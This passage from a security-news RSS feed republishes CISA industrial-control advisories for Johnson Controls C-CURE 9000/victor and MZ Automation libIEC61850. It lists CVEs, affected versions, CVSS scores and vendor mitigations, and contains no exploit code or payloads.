<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Initial Publication by Rockwell Automation</td>
</tr>
<tr>
<td>2026-07-21</td>
<td>2</td>
<td>Initial Republication of Rockwell Automation advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Johnson Controls C-CURE 9000 and Victor application server]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an attacker with network access to achieve remote code execution.
The following versions of Johnson Controls C-CURE 9000 and Victor application server are affected:

C-CURE 9000 and victor]]></description>
<link>https://tsecurity.de/de/3689942/it-security-nachrichten/johnson-controls-c-cure-9000-and-victor-application-server/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689942/it-security-nachrichten/johnson-controls-c-cure-9000-and-victor-application-server/</guid>
<pubDate>Thu, 23 Jul 2026 20:17:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-01.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow an attacker with network access to achieve remote code execution.</strong></p>
<p>The following versions of Johnson Controls C-CURE 9000 and Victor application server are affected:</p>
<ul>
<li>C-CURE 9000 and victor &lt;=v2.90_v3.0 </li>
<li>victor Web &lt;=v7.1 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.6</td>
<td>Johnson Controls</td>
<td>Johnson Controls C-CURE 9000 and Victor application server</td>
<td>Server-Side Request Forgery (SSRF), Execution with Unnecessary Privileges</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Ireland</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-21655</a></h3>
<div class="csaf-accordion-content">
<p>Under certain circumstances, successful exploitation of this vulnerability could allow an unauthenticated attacker on the adjacent network to achieve arbitrary code execution on the C-CURE 9000 or victor application server, as well as connected clients (e.g., workstations of physical security personnel). Such an attack could impact physical security controls.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-21655">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls C-CURE 9000 and Victor application server</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls C-CURE 9000 and victor: &lt;=v2.90_v3.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Johnson Controls recommends the following defensive measures to help reduce the risk of exploitation: (CVE-2026-21655) Upgrade to C-CURE 9000 / victor version 3.20 or later, which addresses the vulnerable deserialization path (LV1.1).</p>
<p><strong>Vendor fix</strong><br>Network segmentation - Isolate the C-CURE 9000 and victor application servers on a dedicated network segment and restrict access to port 8999 to only authorized systems that require connectivity.</p>
<p><strong>Mitigation</strong><br>Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.</p>
<p><strong>Mitigation</strong><br>Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.</p>
<p><strong>Mitigation</strong><br>Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.</p>
<p><strong>Mitigation</strong><br>Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.</p>
<p><strong>Mitigation</strong><br>Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.</p>
<p><strong>Mitigation</strong><br>Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories<br><a href="https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories">https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/918.html">CWE-918 Server-Side Request Forgery (SSRF)</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-21653</a></h3>
<div class="csaf-accordion-content">
<p>Under certain circumstances, successful exploitation of this vulnerability could allow an attacker to forge server-side HTTP requests from the victor Web application. This could be leveraged to interact with internal services running on the host or accessible on the local network, potentially leading to unauthorized information disclosure or lateral movement within the network.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-21653">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls C-CURE 9000 and Victor application server</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls victor Web: &lt;v7.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>(CVE-2026-21653, CVE-2026-34496) Update all victor Web installations to version 7.0 or later, which contains the fix for this vulnerability. The fix has been validated through independent retest.</p>
<p><strong>Mitigation</strong><br>Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.</p>
<p><strong>Mitigation</strong><br>Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.</p>
<p><strong>Mitigation</strong><br>Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.</p>
<p><strong>Mitigation</strong><br>Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.</p>
<p><strong>Mitigation</strong><br>Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.</p>
<p><strong>Mitigation</strong><br>Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories<br><a href="https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories">https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/918.html">CWE-918 Server-Side Request Forgery (SSRF)</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.6</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.4</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-34496</a></h3>
<div class="csaf-accordion-content">
<p>Under certain circumstances, successful exploitation of this vulnerability could result in low privilege users accessing unauthorized pages such as Users and Logs. Successful exploitation could allow an attacker to view sensitive system information, user account details, and audit logs beyond their intended access level, potentially enabling further attacks or unauthorized administrative actions.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-34496">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls C-CURE 9000 and Victor application server</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls victor Web: &lt;=v7.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>(CVE-2026-21653, CVE-2026-34496) Update all victor Web installations to version 7.0 or later, which contains the fix for this vulnerability. The fix has been validated through independent retest.</p>
<p><strong>Mitigation</strong><br>Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.</p>
<p><strong>Mitigation</strong><br>Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.</p>
<p><strong>Mitigation</strong><br>Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.</p>
<p><strong>Mitigation</strong><br>Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.</p>
<p><strong>Mitigation</strong><br>Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.</p>
<p><strong>Mitigation</strong><br>Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories<br><a href="https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories">https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/250.html">CWE-250 Execution with Unnecessary Privileges</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Harrison Neal reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities. CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Republication of Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[MZ Automation libIEC61850]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an unauthenticated network-adjacent attacker to crash critical IEC 61850 services or execute arbitrary code, disrupting or compromising protection, visibility, and control functions.
The following versions of MZ Automa...]]></description>
<link>https://tsecurity.de/de/3689940/it-security-nachrichten/mz-automation-libiec61850/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689940/it-security-nachrichten/mz-automation-libiec61850/</guid>
<pubDate>Thu, 23 Jul 2026 20:16:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-06.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow an unauthenticated network-adjacent attacker to crash critical IEC 61850 services or execute arbitrary code, disrupting or compromising protection, visibility, and control functions.</strong></p>
<p>The following versions of MZ Automation libIEC61850 are affected:</p>
<ul>
<li>libIEC61850 &gt;=v1.0.0|&lt;=v1.6.1 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.1</td>
<td>MZ Automation</td>
<td>MZ Automation libIEC61850</td>
<td>Stack-based Buffer Overflow, Heap-based Buffer Overflow, Improper Handling of Syntactically Invalid Structure, NULL Pointer Dereference</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing, Energy, Transportation Systems</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50039</a></h3>
<div class="csaf-accordion-content">
<p>The affected product is vulnerable to a stack-based buffer overflow, which may allow an attacker to cause a memory corruption via a ReadRequest.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50039">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>MZ Automation libIEC61850</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>MZ Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>MZ Automation libIEC61850: &gt;=v1.0.0|&lt;=v1.6.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.<br><a href="https://github.com/mz-automation/libiec61850">https://github.com/mz-automation/libiec61850</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/121.html">CWE-121 Stack-based Buffer Overflow</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-49035</a></h3>
<div class="csaf-accordion-content">
<p>The affected product is vulnerable to a heap-based buffer overflow via a crafted MMS Initiate request. Remote code execution (RCE) has been demonstrated when ASLR is disabled; memory corruption or denial of service may occur in configurations where ASLR is enabled.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-49035">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>MZ Automation libIEC61850</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>MZ Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>MZ Automation libIEC61850: &gt;=v1.0.0|&lt;=v1.6.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.<br><a href="https://github.com/mz-automation/libiec61850">https://github.com/mz-automation/libiec61850</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/122.html">CWE-122 Heap-based Buffer Overflow</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.2</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50103</a></h3>
<div class="csaf-accordion-content">
<p>A NULL pointer dereference in the L2 GOOSE and R-GOOSE shared parser, which may allow a network-adjacent attacker to crash a subscribing application by sending a crafted GOOSE frame containing a malformed TLV value.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50103">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>MZ Automation libIEC61850</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>MZ Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>MZ Automation libIEC61850: &gt;=v1.0.0|&lt;=v1.6.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.<br><a href="https://github.com/mz-automation/libiec61850">https://github.com/mz-automation/libiec61850</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/228.html">CWE-228 Improper Handling of Syntactically Invalid Structure</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50032</a></h3>
<div class="csaf-accordion-content">
<p>A NULL pointer dereference in the MMS Write Named Variable List handler, which may allow a network adjacent attacker to crash the server by sending a WriteRequest with an empty listOfData field.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50032">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>MZ Automation libIEC61850</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>MZ Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>MZ Automation libIEC61850: &gt;=v1.0.0|&lt;=v1.6.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.<br><a href="https://github.com/mz-automation/libiec61850">https://github.com/mz-automation/libiec61850</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Abhinav Agarwal reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
